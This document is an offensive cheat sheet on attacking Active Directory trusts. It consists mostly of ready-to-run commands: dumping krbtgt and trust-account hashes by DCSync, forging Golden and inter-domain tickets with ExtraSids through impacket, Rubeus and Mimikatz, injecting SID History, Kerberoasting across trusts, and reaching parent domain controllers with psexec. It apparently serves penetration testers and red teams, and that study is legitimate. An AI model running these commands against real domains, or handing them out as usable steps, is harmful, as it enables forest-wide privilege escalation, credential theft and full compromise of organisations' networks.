AD Trust Attacks
Active Directory trust exploitation: child-to-parent escalation with ExtraSids Golden ticket, SID History injection, cross-forest trust attacks when SID Filtering is disabled, trust account password forging, and inter-domain trust enumeration.
AD trusts allow users in one domain to access resources in another. The attack surface comes from the parent-child trust being automatic and bidirectional — compromise any child domain → escalate to the forest root. Cross-forest attacks work only when SID Filtering is explicitly disabled.
Trust Types Reference
| Type | Direction | Transitive | Notes |
|---|---|---|---|
| Parent-child | Two-way | Yes | Automatic within a forest — always exploitable |
| Tree-root | Two-way | Yes | Automatic between forest roots |
| Forest | Two-way / One-way | Yes | Requires manual setup; SID Filtering on by default |
| External | One-way or Two-way | No | Between different forests; SID Filtering on |
| Shortcut | Two-way | Yes | Manual optimization between domains in same forest |
| MIT Kerberos | One-way | No | Cross-platform Kerberos trust |
Enumeration
# All trusts for current domain
Get-DomainTrust
# Specific domain's trusts
Get-DomainTrust -Domain child.corp.local
# Forest trusts
Get-ForestTrust
Get-ForestDomain
# Recursive trust map (all domains + trusts)
Get-DomainTrustMapping
# Trust attributes and direction
Get-DomainTrust | Select SourceName, TargetName, TrustDirection, TrustType, TrustAttributes
# Users with SID History set (could be artifacts of past attacks)
Get-DomainUser -LDAPFilter "(sidHistory=*)" | Select samaccountname, sidhistory
# BloodHound Cypher — all trust edges
MATCH (d1:Domain)-[r:TrustedBy]->(d2:Domain) RETURN d1.name, r, d2.name
# impacket
lookupsid.py corp.local/user:pass@DC_IP | grep "Domain\|Enterprise"
Child Domain → Parent Domain (ExtraSids)
The most reliable intra-forest escalation. Compromise a child domain, forge a Golden ticket with the parent’s Enterprise Admins SID injected into the PAC’s ExtraSids field.
Gather required values
# 1. DCSync krbtgt from child domain
secretsdump.py -just-dc-user krbtgt child.corp.local/admin:pass@CHILD_DC_IP
# Output: krbtgt:HASH (save the NTLM hash)
# 2. Get child domain SID
lookupsid.py corp.local/user:pass@CHILD_DC_IP 0
# OR
Get-DomainSID -Domain child.corp.local # PowerView
# 3. Get parent domain SID
lookupsid.py corp.local/user:pass@PARENT_DC_IP 0
# Enterprise Admins SID = PARENT_DOMAIN_SID + -519
# Domain Admins SID = PARENT_DOMAIN_SID + -512
Forge the ticket (impacket)
ticketer.py \
-nthash CHILD_KRBTGT_HASH \
-domain-sid CHILD_DOMAIN_SID \
-domain child.corp.local \
-extra-sid PARENT_DOMAIN_SID-519 \
-user-id 500 \
Administrator
export KRB5CCNAME=Administrator.ccache
# Access parent domain
psexec.py -k -no-pass corp.local/Administrator@PARENT_DC.corp.local
secretsdump.py -k -no-pass -just-dc-ntlm corp.local/Administrator@PARENT_DC.corp.local
Forge the ticket (Rubeus — Windows)
# Get child domain SID + parent Enterprise Admins SID
Get-DomainSID
Get-DomainGroupMember -Identity 'Enterprise Admins' -Domain corp.local | Select-Object MemberObjectClass
# Forge and inject
.\Rubeus.exe golden \
/rc4:CHILD_KRBTGT_HASH \
/domain:child.corp.local \
/sid:CHILD_DOMAIN_SID \
/sids:PARENT_DOMAIN_SID-519 \
/user:Administrator \
/ptt
# Use the ticket
dir \\PARENT_DC\C$
Forge the ticket (Mimikatz — Windows)
kerberos::golden \
/user:Administrator \
/domain:child.corp.local \
/sid:CHILD_DOMAIN_SID \
/krbtgt:CHILD_KRBTGT_HASH \
/sids:PARENT_DOMAIN_SID-519 \
/ptt
misc::convert ccache Administrator.kirbi # for Linux use
SID History Injection
If SID History isn’t filtered on the trust (intra-forest by default), add a parent domain group SID to a user’s sidHistory attribute. When the user authenticates to the parent domain, the injected SID is included in the PAC → treated as a member of that group.
# Mimikatz — patch SID history (requires DC SYSTEM or domain admin in child)
privilege::debug
sid::patch
sid::add /sam:attacker /new:PARENT_DOMAIN_SID-519
# secretsdump to check if sidHistory exists on accounts
secretsdump.py child.corp.local/admin:pass@CHILD_DC_IP -just-dc-ntlm | grep sidHistory
Cross-Forest Trust (SID Filtering Disabled)
SID Filtering is enabled by default on forest trusts. If explicitly disabled (quarantine = False), ExtraSids injections work cross-forest.
# Check SID Filtering status
Get-DomainTrust | Select TargetName, TrustAttributes
# If 'QUARANTINED_DOMAIN' is NOT in TrustAttributes = SID Filtering disabled
# OR
nltest /domain_trusts /all_trusts
If SID Filtering is disabled, use the same ExtraSids technique but target the forest’s Enterprise Admins SID instead.
Trust Account Password (Inter-Domain Referral Tickets)
Every trust creates a trust account in AD (domain name + $). Compromising the trust account’s password allows forging inter-domain referral tickets.
# Find trust account hashes via DCSync
secretsdump.py corp.local/admin:pass@DC_IP | grep "\$"
# Look for: CHILD$, PARENT$, TRUST_DOMAIN$
# Forge inter-domain referral ticket
ticketer.py \
-nthash TRUST_ACCOUNT_HASH \
-domain-sid SOURCE_DOMAIN_SID \
-domain child.corp.local \
-spn krbtgt/corp.local \
Administrator
export KRB5CCNAME=Administrator.ccache
Cross-Forest Resource Access (One-Way Trust)
If there’s a one-way trust (source trusts target), users in the target domain can access resources in the source domain.
# Enumerate users in trusted domain from current domain
Get-DomainUser -Domain trusted.corp -Server TRUSTED_DC_IP
# Access resources in the trusting domain using your creds
net use \\SERVER.TRUSTING_DOMAIN\share /user:TRUSTED_DOMAIN\user pass
Kerberoasting Across Trusts
# Request TGS for accounts with SPNs in a trusted domain
GetUserSPNs.py -target-domain trusted.corp -request \
corp.local/user:pass -dc-ip CORP_DC_IP
# Cross-domain Kerberoasting via Rubeus
.\Rubeus.exe kerberoast /domain:trusted.corp /nowrap
Enumeration Checklist
# 1. Map all trusts
Get-DomainTrustMapping
# 2. Check SID Filtering on each trust
Get-DomainTrust | Select TargetName, TrustAttributes
# 3. Check for users with SID History
Get-DomainUser -LDAPFilter "(sidHistory=*)"
# 4. Enumerate groups with members from other domains
Get-DomainForeignGroupMember -Domain corp.local
# 5. BloodHound — collect from all forest domains
bloodhound-python -u user -p pass -d child.corp.local -ns CHILD_DC_IP -c All
bloodhound-python -u user -p pass -d corp.local -ns PARENT_DC_IP -c All
# Upload both ZIPs to see cross-domain edges